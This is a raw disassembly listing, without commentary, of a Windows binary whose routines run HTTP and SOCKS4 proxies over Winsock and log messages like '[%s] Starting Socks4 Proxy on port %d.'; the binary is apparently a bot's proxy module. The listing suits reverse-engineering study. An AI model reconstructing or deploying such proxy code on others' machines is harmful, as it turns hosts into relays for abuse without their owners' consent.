loc_42A570: ; CODE XREF: ___:0042969Bj
mov al, [esp+12h]
test al, al
jz loc_4295E8
loc_42A57C: ; CODE XREF: ___:0042A624j
; ___:0042A77Dj
mov al, [ebp+0BAh]
test al, al
jz short loc_42A599
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_42A599: ; CODE XREF: ___:0042A584j
mov al, [esp+11h]
test al, al
jz short loc_42A5B4
mov ecx, [ebp+0BFh]
push ecx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
loc_42A5B4: ; CODE XREF: ___:0042A59Fj
; ___:0042A805j
mov ecx, [esp+5498h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_42A5CD: ; CODE XREF: ___:004299BAj
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
loc_42A5DE: ; CODE XREF: ___:00429987j
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
loc_42A5EF: ; CODE XREF: ___:00429741j
; ___:0042975Aj ...
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
loc_42A600: ; CODE XREF: ___:00429635j
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A57C
; ---------------------------------------------------------------------------
loc_42A629: ; CODE XREF: ___:00429AB3j
mov eax, [ebp+0BBh]
push eax
call near ptr 71AB9639h
nop
jmp loc_42A79A
; ---------------------------------------------------------------------------
loc_42A63B: ; CODE XREF: ___:00429BF4j
lea ecx, [esp+0CDh]
call sub_4017EE
push eax
lea ecx, [esp+18h]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
call near ptr 71AB428Ah
nop
mov eax, [ebp+0BBh]
mov esi, dword_511C9C
push eax
call esi ; closesocket
mov ecx, [ebp+0BFh]
push ecx
jmp loc_42A798
; ---------------------------------------------------------------------------
loc_42A698: ; CODE XREF: ___:00429C10j
mov edx, [esp+10Ch]
lea ecx, [esp+0CDh]
push edx
call sub_4017EE
push eax
lea eax, [esp+1Ch]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_42A6E2: ; CODE XREF: ___:00429CC1j
; ___:00429CC9j
mov edx, [ebp+0BBh]
mov esi, dword_511C9C
push edx
call esi ; closesocket
mov eax, [ebp+0BFh]
push eax
jmp loc_42A798
; ---------------------------------------------------------------------------
loc_42A6FD: ; CODE XREF: ___:00429B9Ej
mov ecx, [ebp+0BBh]
push ecx
call near ptr 71AB9639h
nop
jmp loc_42A79A
; ---------------------------------------------------------------------------
loc_42A70F: ; CODE XREF: ___:00429CEFj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
or esi, 0FFFFFFFFh
jmp loc_42A57C
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: ___:0042A2F5j
; ___:0042A2FDj
mov ecx, [ebp+0BBh]
mov esi, dword_511C9C
push ecx
call esi ; closesocket
mov edx, [ebp+0BFh]
push edx
loc_42A798: ; CODE XREF: ___:0042A693j
; ___:0042A6F8j
call esi ; closesocket
loc_42A79A: ; CODE XREF: ___:0042A636j
; ___:0042A70Aj
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], ebx
call sub_4014BA
jmp loc_42A5B4
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ACB0 proc near ; CODE XREF: sub_4018EDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42ACB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F15C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42ACB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AD20: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402126
test byte ptr [esp+8], 1
jz short loc_42AD38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42AD38: ; CODE XREF: ___:0042AD2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AD50 proc near ; CODE XREF: sub_402126j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43F15C
cmp eax, 0FFFFFFFFh
jz short loc_42AD6B
push eax
nop
call near ptr 71AB9639h
loc_42AD6B: ; CODE XREF: sub_42AD50+12j
mov ecx, esi
call sub_4017A8
pop esi
retn
sub_42AD50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AD90 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AD90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_42ADB3: ; CODE XREF: sub_42AD90+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42ADDA
mov ecx, [edi+3Bh]
push ecx
call sub_40198D
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_42ADB3
loc_42ADDA: ; CODE XREF: sub_42AD90+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42AEAC
push ebp
push esi
loc_42ADF0: ; CODE XREF: sub_42AD90+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_42AE8B
test ebp, ebp
jz short loc_42AE8B
push 0C3h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_42AE36
mov ecx, eax
call sub_401893
mov esi, eax
jmp short loc_42AE38
; ---------------------------------------------------------------------------
loc_42AE36: ; CODE XREF: sub_42AD90+99j
xor esi, esi
loc_42AE38: ; CODE XREF: sub_42AD90+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FDC
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013DE
jmp short loc_42AE96
; ---------------------------------------------------------------------------
loc_42AE8B: ; CODE XREF: sub_42AD90+74j
; sub_42AD90+7Cj
push 0FAh
nop
call near ptr 2830000h
loc_42AE96: ; CODE XREF: sub_42AD90+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_42ADF0
pop esi
pop ebp
loc_42AEAC: ; CODE XREF: sub_42AD90+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_42AEBE
push edi
nop
call near ptr 71AB9639h
loc_42AEBE: ; CODE XREF: sub_42AD90+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AD90 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AF20 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_42AF48
call sub_4017EE
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_42AF53
; ---------------------------------------------------------------------------
loc_42AF48: ; CODE XREF: sub_42AF20+19j
call sub_4017EE
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_42AF53: ; CODE XREF: sub_42AF20+26j
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017EE
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_42AF20 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42AFF0 proc near ; CODE XREF: sub_40213Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42AFF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F16C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42AFF0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B060: ; CODE XREF: ___:0040187Fj
; ___:loc_401B18j
push esi
mov esi, ecx
call sub_401FA5
test byte ptr [esp+8], 1
jz short loc_42B078
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B078: ; CODE XREF: ___:0042B06Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B090 proc near ; CODE XREF: sub_401FA5j
jmp sub_4017A8
sub_42B090 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B0B0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_511CA4
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_42B0F1
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B0F1: ; CODE XREF: sub_42B0B0+27j
cmp [esp+830h+var_81D], 4
jnz loc_42B2DC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi ; recv
cmp eax, 1
jge short loc_42B12E
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B12E: ; CODE XREF: sub_42B0B0+64j
cmp [esp+830h+var_807], 1
jnz loc_42B2DC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
call near ptr 71AB3B91h
nop
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
call near ptr 71AB406Ah
nop
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_42B1C9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
call near ptr 71AB428Ah
nop
mov eax, [ebp+0A1h]
push eax
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_42B1C9: ; CODE XREF: sub_42B0B0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
mov esi, dword_511CAC
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi ; ioctlsocket
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi ; ioctlsocket
loc_42B226: ; CODE XREF: sub_42B0B0+1AFj
; sub_42B0B0+1FEj ...
mov edi, dword_511CA4
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi ; recv
mov esi, eax
test esi, esi
jz loc_42B2CA
jge short loc_42B261
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B261
push 0Ah
call near ptr 2830000h
nop
jmp short loc_42B226
; ---------------------------------------------------------------------------
loc_42B261: ; CODE XREF: sub_42B0B0+198j
; sub_42B0B0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi ; recv
mov esi, eax
test esi, esi
jz short loc_42B2CA
jge short loc_42B2B3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_42B2B3
push 0Ah
call near ptr 2830000h
nop
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2B3: ; CODE XREF: sub_42B0B0+1E7j
; sub_42B0B0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
nop
call near ptr 71AB428Ah
jmp loc_42B226
; ---------------------------------------------------------------------------
loc_42B2CA: ; CODE XREF: sub_42B0B0+192j
; sub_42B0B0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_511C9C
push eax
call esi ; closesocket
push ebx
call esi ; closesocket
loc_42B2DC: ; CODE XREF: sub_42B0B0+46j
; sub_42B0B0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_42B0B0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B380 proc near ; CODE XREF: sub_40218Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B380
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401FA0
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43F17C
call sub_4015E1
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B380 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3F0 proc near ; CODE XREF: ___:00401032j sub_4017B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C4E
test [esp+4+arg_0], 1
jz short loc_42B408
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B408: ; CODE XREF: sub_42B3F0+Dj
mov eax, esi
pop esi
retn 4
sub_42B3F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B420 proc near ; CODE XREF: sub_401C4Ej
jmp sub_4017A8
sub_42B420 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B440 proc near ; CODE XREF: sub_40189Dj
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B440
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017EE
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42B649
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
call near ptr 71AB2B66h
nop
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_42B516
mov ecx, [esi+9Dh]
push ecx
call near ptr 71AB9639h
nop
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B516: ; CODE XREF: sub_42B440+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42B600
loc_42B52C: ; CODE XREF: sub_42B440+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jnz short loc_42B550
push 0FAh
call near ptr 2830000h
nop
jmp loc_42B5EC
; ---------------------------------------------------------------------------
loc_42B550: ; CODE XREF: sub_42B440+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42B600
xor edi, edi
cmp ebp, edi
jz loc_42B600
push 0A5h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B59E
mov ecx, eax
call sub_40213A
mov edi, eax
loc_42B59E: ; CODE XREF: sub_42B440+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FDC
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42B5EC: ; CODE XREF: sub_42B440+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B52C
loc_42B600: ; CODE XREF: sub_42B440+E6j
; sub_42B440+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42B614
push eax
call near ptr 71AB9639h
nop
loc_42B614: ; CODE XREF: sub_42B440+1CBj
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
call sub_4017EE
push eax
push offset aSUnloadedPro_0 ; "[%s] Unloaded proxy on %d."
mov ecx, ebx
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
loc_42B649: ; CODE XREF: sub_42B440+69j
mov ecx, [esp+3Ch+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B440 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B6F0 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
nop
call near ptr 71AB4FD4h
test eax, eax
jz short loc_42B711
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov ecx, [esp+arg_4]
mov eax, [edx]
mov [ecx], eax
mov al, 1
retn 8
; ---------------------------------------------------------------------------
loc_42B711: ; CODE XREF: sub_42B6F0+Dj
xor al, al
retn 8
sub_42B6F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B730 proc near ; CODE XREF: sub_4020E0j
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_400 = byte ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42B751: ; CODE XREF: sub_42B730+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B76A: ; CODE XREF: sub_42B730+45j
cmp [ecx], ebx
jz short loc_42B777
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B76A
loc_42B777: ; CODE XREF: sub_42B730+3Cj
cmp eax, 1
jnz short loc_42B788
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42B788: ; CODE XREF: sub_42B730+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42B813
cmp eax, 0FFFFFFFFh
jz short loc_42B813
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_438256
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_42B7BC
mov eax, ebp
mov ebp, ebx
jmp short loc_42B7BE
; ---------------------------------------------------------------------------
loc_42B7BC: ; CODE XREF: sub_42B730+84j
mov eax, ebx
loc_42B7BE: ; CODE XREF: sub_42B730+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
nop
call near ptr 71AB615Ah
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42B862
test edi, edi
jz short loc_42B862
jbe short loc_42B80C
loc_42B7EB: ; CODE XREF: sub_42B730+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42B862
add esi, eax
cmp esi, edi
jb short loc_42B7EB
loc_42B80C: ; CODE XREF: sub_42B730+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42B813: ; CODE XREF: sub_42B730+70j
; sub_42B730+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42B825: ; CODE XREF: sub_42B730+100j
cmp [ecx], ebx
jz short loc_42B832
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42B825
loc_42B832: ; CODE XREF: sub_42B730+F7j
cmp eax, 1
jnz short loc_42B844
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42B844: ; CODE XREF: sub_42B730+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jle loc_42B751
loc_42B862: ; CODE XREF: sub_42B730+B3j
; sub_42B730+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42B730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B8E0 proc near ; CODE XREF: sub_401C30j
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42B97F
dec eax
jz short loc_42B92A
dec eax
jnz loc_42BA72
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42B92A: ; CODE XREF: sub_42B8E0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_401758
test al, al
jz loc_42BA72
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42B99B
; ---------------------------------------------------------------------------
loc_42B97F: ; CODE XREF: sub_42B8E0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42B99B: ; CODE XREF: sub_42B8E0+9Dj
mov ebx, dword_511C3C
push 11h
push 2
push 2
call ebx ; socket
push 11h
push 2
push 2
mov edi, eax
call ebx ; socket
cmp edi, 0FFFFFFFFh
jz loc_42BA72
cmp eax, 0FFFFFFFFh
jnz loc_42BA72
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_511C68
push edx
push esi
push edi
call ebp ; sendto
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
call near ptr 71AB3E00h
nop
test eax, eax
jnz short loc_42BA72
loc_42B9F9: ; CODE XREF: sub_42B8E0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
nop
call near ptr 71AB2D0Fh
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp ; sendto
test esi, esi
jbe short loc_42BA56
cmp esi, 0FFFFFFFFh
jnz short loc_42B9F9
